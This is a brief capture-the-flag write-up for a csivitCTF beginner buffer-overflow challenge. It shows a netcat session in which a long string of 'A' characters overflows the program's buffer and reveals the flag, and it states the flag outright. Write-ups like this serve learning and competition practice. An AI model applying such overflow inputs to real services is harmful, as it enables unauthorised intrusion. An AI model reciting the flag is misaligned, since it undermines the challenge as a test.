

**Question:** I really want to have some coffee!

**Solution:** This is a simple buffer overflow chall. Just enter a lot of random characters and the buffer should overflow, either giving shell access, or directly the flag, as in this case.

```
cryptal-clear@kali:~/Documents/CTFs/csivitCTF/pwn/pwn_intended_0x1$ nc chall.csivit.com 30001
Please pour me some coffee:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Thanks!

Oh no, you spilled some coffee on the floor! Use the flag to clean it.
csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}cryptal-clear@kali:~/Documents/CTFs/csivitCTF/pwn/pwn_intended_
```

Flag: csictf{y0u\_ov3rfl0w3d\_th@t\_c0ff33\_l1ke\_@\_buff3r}
